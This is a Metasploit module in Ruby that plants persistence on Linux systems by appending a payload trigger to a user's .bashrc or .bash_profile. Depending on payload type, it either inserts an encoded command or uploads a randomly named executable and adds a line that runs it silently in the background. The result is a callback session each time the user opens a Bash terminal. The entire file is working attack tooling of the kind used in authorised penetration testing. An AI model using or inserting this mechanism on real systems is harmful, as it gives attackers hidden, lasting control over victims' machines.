bash_profile.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Post::Linux::User
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/bash_profile_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bash Profile Persistence',
        'Description' => %q{
          This module writes an execution trigger to the target's Bash profile.
          The execution trigger executes a call back payload whenever the target
          user opens a Bash terminal.
          Verified on Ubuntu 22.04 and 18.04 desktop with Gnome
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Long <bluesentinel[at]protonmail.com>'
        ],
        'Payload' => {
          'BadChars' => '#%\n"'
        },
        'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell
        'Platform' => ['unix', 'linux'],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION, EVENT_DEPENDENT ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
        }
      )
    )

    register_options(
      [
        OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually .bashrc or .bash_profile.', '.bashrc']),
        OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']),
      ]
    )
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    whoami
  end

  def profile_path
    user = target_user
    home = get_home_dir(user)
    "#{home}/#{datastore['BASH_PROFILE']}"
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
    ppath = profile_path

    # check that target Bash profile file exists
    return CheckCode::Safe("Bash profile does not exist: #{ppath}") unless exist?(ppath)

    vprint_good("Bash profile exists: #{ppath}")

    # check that target Bash profile file is writable
    return CheckCode::Safe("Bash profile is not writable: #{ppath}") unless writable?(ppath)

    vprint_good("Bash profile is writable: #{ppath}")

    CheckCode::Detected("Bash profile exists and is writable: #{ppath}")
  end

  def install_persistence
    # create Bash profile backup on local system before persistence is added
    ppath = profile_path
    backup_profile = read_file(ppath)

    backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
    print_status("Created backup Bash profile: #{backup_profile_path}")

    if payload.arch.first == 'cmd'
      pload = payload.encoded
      pload = pload.sub(/&$/, '') # remove trailing & since we add it later
      exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
    else
      # upload persistent payload to target and make executable (chmod 700)
      payload_path = datastore['WritableDir']
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
      payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
      payload_path << payload_name
      upload_and_chmodx(payload_path, generate_payload_exe)

      # write payload trigger to Bash profile
      exec_payload_string = "#{payload_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
    end
    append_file(ppath, exec_payload_string)
    vprint_status('Created Bash profile persistence')
    print_good('Payload will be triggered when target opens a Bash terminal')

    @clean_up_rc = "rm #{payload_path}\n"
    @clean_up_rc << "upload #{backup_profile_path} #{ppath}"
  end
end